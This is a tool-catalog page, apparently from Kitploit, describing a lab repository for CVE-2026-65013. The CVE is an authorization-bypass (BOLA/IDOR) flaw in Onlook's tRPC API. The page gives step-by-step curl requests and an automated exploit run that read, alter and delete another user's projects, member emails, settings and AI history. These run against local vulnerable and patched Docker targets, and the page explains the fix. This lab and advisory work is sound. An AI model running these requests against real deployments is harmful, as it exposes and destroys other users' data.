Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/isaca0315/cve-2026-65013-bola-idor
Аутентификация и авторизацияАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование безопасности APIВеб-безопасностьТестирование на ПроникновениеОбучение и ОбразованиеRed Teaming

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Лаборатории и Практика
GitHubisaca0315/cve-2026-65013-bola-idor

CVE-2026-65013-BOLA-IDOR

Воспроизводимый PoC для BOLA/IDOR против tRPC API Onlook (CVE-2026-65013) с 12-шаговой цепочкой эксплуатации, уязвимыми и пропатченными Docker-целями и технической документацией.

Репозиторий
1 день назадЕщё не проверено

CVE-2026-65013-BOLA-IDOR

Воспроизводимый PoC BOLA / IDOR в API tRPC от Onlook (CVE-2026-65013).

Любой аутентифицированный пользователь может читать, изменять и удалять проекты, участников и историю ИИ других пользователей, просто передав их UUID в процедуры tRPC (версии <= 0.2.32).

CVECVE-2026-65013
AdvisoryGHSA-j6x3-f5cf-2pg4
CWECWE-639 (Authorization Bypass Through User-Controlled Key)
CVSS 3.18.8 HIGH — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Уязвимые версииOnlook <= 0.2.32
Патчкоммит 423e2e9 (PR onlook-dev/onlook#3129)

📚 Документация

ДокументСодержание

Обзор

Onlook предоставляет свой бэкенд через tRPC, и процедуры получают id ресурса напрямую от клиента:

root@kitploit:~
project.get({ projectId })                // читает любой проект
member.remove({ projectId, userId })      // исключает кого угодно
chat.conversation.delete({ conversationId }) // удаляет историю ИИ
settings.get({ projectId })               // settings с API keys

Проблема: большинство не проверяло, что вызывающий является участником проекта. Подключение к Postgres (Drizzle) было суперпользователем, исключённым из Row Level Security, поэтому контроль должен был находиться в коде tRPC... и там его не хватало.

Helper verifyProjectAccess() уже существовал (применённый к горстке процедур, например project.update/delete), но остальная поверхность полагалась на id от клиента: project.get, member.list, member.remove, invitation.list, chat.conversation.*, chat.message.*, branch.*, settings.*, frame.*…

Аутентификация НЕ является проблемой (JWT от Supabase работает). Это авторизация по объекту (BOLA/IDOR): атакующий использует свою собственную легитимную сессию против id жертвы.

Технические детали уязвимости

  • lib/authorization.js содержит helpers, которых не хватало (verifyProjectAccess, verifyConversationAccess, verifyMessagesAccess, verifyBranchAccess, verifyCanvasAccess, verifyMemberRemoval, verifyInvitationAccess) — эквивалент коммита 423e2e9.
  • lib/router.js вызывает их только если enforceAuth включён; в уязвимом режиме процедуры выполняются без проверки (реальный баг).
  • В пропатченном режиме каждая проверка выбрасывает одну и ту же общую ошибку Unauthorized or not found (UNAUTHORIZED), чтобы нельзя было перечислить существование ресурсов:
    root@kitploit:~

⚔️ Пошаговый Red Team

Шаг 0 — Поднять инфраструктуру (Docker)

root@kitploit:~
docker compose up -d --build
curl -s http://localhost:3000/health        # {"status":"ok","fixed":false}   → VULNERABLE
curl -s http://localhost:3001/health        # {"status":"ok","fixed":true}    → PARCHEADO

Docker поднимает target (уязвимый и пропатченный) плюс сервис demo. Эксплуатация выполняется с вашей машины против этих targets.

Шаг 1 — Разведка

root@kitploit:~
curl -s http://localhost:3000/demo/ids      # ids del seed de la víctima (Alice)

Это заменяет реальный канал, через который атакующий получил бы UUIDs (ссылка на общий preview, referrer из логов, приглашения…).

Шаг 2 — Вход как атакующий (Bob, легитимный пользователь)

root@kitploit:~
TOKEN=$(curl -s -X POST http://localhost:3000/login \
  -H 'content-type: application/json' \
  -d '{"email":"[email protected]","password":"bob123"}' | node -pe 'JSON.parse(require("fs").readFileSync(0,"utf8")).token')

Шаг 3 — Ручная эксплуатация с curl (точный формат из advisory)

root@kitploit:~
# 3a. LEER el proyecto secreto de Alice (GET, formato input={"json":...}):
curl -s "http://localhost:3000/api/trpc/project.get?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
  -H "Authorization: Bearer $TOKEN"

# → {"result":{"data":{"json":{"id":"1111...","name":"Lanzamiento Q3 (PROYECTO SECRETO)",...}}}}

# 3b. LISTAR miembros y emails (aun siendo ajeno al proyecto):
curl -s "http://localhost:3000/api/trpc/member.list?input=%7B%22json%22%3A%7B%22projectId%22%3A%2211111111-1111-4111-8111-111111111111%22%7D%7D" \
  -H "Authorization: Bearer $TOKEN"

# 3c. EXPULSAR a Alice (owner) de SU propio proyecto (POST mutation):
curl -s -X POST http://localhost:3000/api/trpc/member.remove \
  -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
  -d '{"json":{"projectId":"11111111-1111-4111-8111-111111111111","userId":"aaaaaaaa-aaaa-4aaa-8aaa-aaaaaaaaaaaa"}}'

# → {"result":{"data":{"json":true}}}     ← (Alice ya no está en su proyecto)

# 3d. BORRAR el historial de IA de Alice:
curl -s -X POST http://localhost:3000/api/trpc/chat.conversation.delete \
  -H "Authorization: Bearer $TOKEN" -H 'content-type: application/json' \
  -d '{"json":{"conversationId":"44444444-4444-4444-8444-444444444444"}}'

Шаг 4 — Автоматизированный эксплойт (node exploit.js)

Выполняет 12 процедур цепочки (чтение проекта, список проектов Alice, фильтрация emails, исключение owner, список приглашений, чтение/удаление истории ИИ, branches, settings с apiKey, frames):

root@kitploit:~
node exploit.js                                  # contra :3000 (vulnerable)  → filtraciones
node exploit.js --target http://localhost:3001 --expect blocked   # contra :3001 (parcheado)

Типичный вывод (уязвимый):

root@kitploit:~
💥 project.get              → FILTRADO
💥 member.remove            → FILTRADO   (membership ajeno borrado: true)
💥 chat.conversation.delete → FILTRADO   (historial de IA ajeno borrado: true)
...
✅ 12/12 — CVE-2026-65013 CONFIRMADA: bob leyó/borró recursos de alice.

Против пропатченного:

root@kitploit:~
🛡️ project.get              → BLOQUEADO   (Unauthorized or not found)
...
✅ 12/12 — Servidor PARCHEADO: el mismo ataque fue bloqueado.

Эксплуатация изменяет базу в памяти уязвимого сервера: чтобы перезапустить её, перезапустите этот инстанс (docker compose restart server).

Шаг 5 — Валидация / сравнение


Демонстрации валидации

root@kitploit:~
npm run demo        # compara VULNERABLE vs PARCHEADO en proceso (sin red), 12 procedimientos
bash test-local.sh  # harness integral: curl (formato advisory) + exploit vs :3100 y :3101, exit code real

Или в Docker:

root@kitploit:~
docker compose up -d demo
docker logs cve-2026-65013-demo

Frontend (режим реального приложения)

root@kitploit:~
open http://localhost:3000        # (o http://localhost:3001 para la versión parcheada)

Демо-аккаунты:

  • Dashboard: ваши проекты (project.getPreviewProjects), состояние сервера (уязвимый/пропатченный) и поверхность tRPC.
  • Red Team: консоль, выполняющая полную цепочку BOLA из браузера как Bob, с результатами 💥 FILTRADO / 🛡️ BLOQUEADO по каждой процедуре.

Frontend — это представление: уязвимость живёт в lib/router.js, и ручной поток с curl из README остаётся тем же.

Структура проекта

root@kitploit:~
.
├── Dockerfile               node:22-alpine + deps + app
├── docker-compose.yml       server (vulnerable :3000), server-fixed (:3001), demo — misma imagen, cambia FIXED
├── .dockerignore            excluye node_modules
├── .gitignore
├── package.json             @trpc/[email protected], @trpc/client, superjson, zod
├── server.js                HTTP: /health, /login, /demo/ids, /api/trpc/*, estáticos (FIXED=env)
├── exploit.js               PoC automatizado (cadena BOLA/IDOR de 12 pasos)
├── demo.js                  comparación vulnerable vs parcheado en proceso
├── test-local.sh            batería local: curl (formato advisory) + exploits + exit code
├── lib/
│   ├── db.js                base en memoria + seed (UUIDs estáticos y reproducibles)
│   ├── auth.js              tokens de sesión HS256 (bien hechos a propósito)
│   ├── authorization.js     helpers del FIX (commit 423e2e9) → "Unauthorized or not found"
│   └── router.js            createAppRouter({ enforceAuth }) — el surface tRPC
├── public/                  app "real" (login, dashboard, consola Red Team)
│   ├── index.html
│   ├── styles.css
│   └── app.js               cliente tRPC manual (mismo wire format del advisory)
└── docs/
    ├── CVE-2026-65013.md    documentación técnica de la CVE
    └── ARQUITECTURA.md       este repo explicado (mapa, wire format, extensión)

Чтобы понять что делает каждая ключевая строка эксплойта и как его расширить на больше процедур: docs/ARQUITECTURA.md §8-§9.

Предупреждение

Этот материал предназначен только для образовательных целей и исследований в области безопасности. Используйте эксплойт только против собственных приложений или с письменного разрешения владельца. Несанкционированное использование этой техники против систем третьих лиц незаконно, и ответственность за её использование несёт тот, кто её применяет.

Скачать инструмент
docs/CVE-2026-65013.md
Техника CVE: root cause (RLS исключён + helper плохо распределён), реальная затронутая поверхность, анатомия атаки, построчный анализ фикса 423e2e9, устранение, ссылки на CVE/advisory/PR.
docs/ARQUITECTURA.mdPoC: карта файлов, wire format tRPC v10+superjson, модель данных, схема VULN vs FIX, таблица процедур, соответствие PoC ↔ реальный Onlook, руководство по расширению, валидация/CI вручную.
// chat.conversation.delete — vulnerable (sin chequeo) vs parcheado: enforce(() => verifyConversationAccess(ctx.db, ctx.user.id, input.conversationId))
  • project.update остаётся защищённым в обоих режимах как "контраст": демонстрирует, что helper существовал, просто был плохо распределён.
  • Процедура:3000 уязвимый:3001 пропатченный
    project.get (чужой проект)200 + имя/метаданные401 Unauthorized or not found
    member.list (чужие emails)200 + emails401
    member.remove (исключить owner)200 true401
    chat.conversation.delete200 true401
    settings.get (apiKey)200 + settings401
    project.update (контраст: уже был защищён)401401
    EmailPasswordРоль
    [email protected]alice123владелица секретного проекта
    [email protected]bob123атакующий
    [email protected]charlie123редактор проекта Alice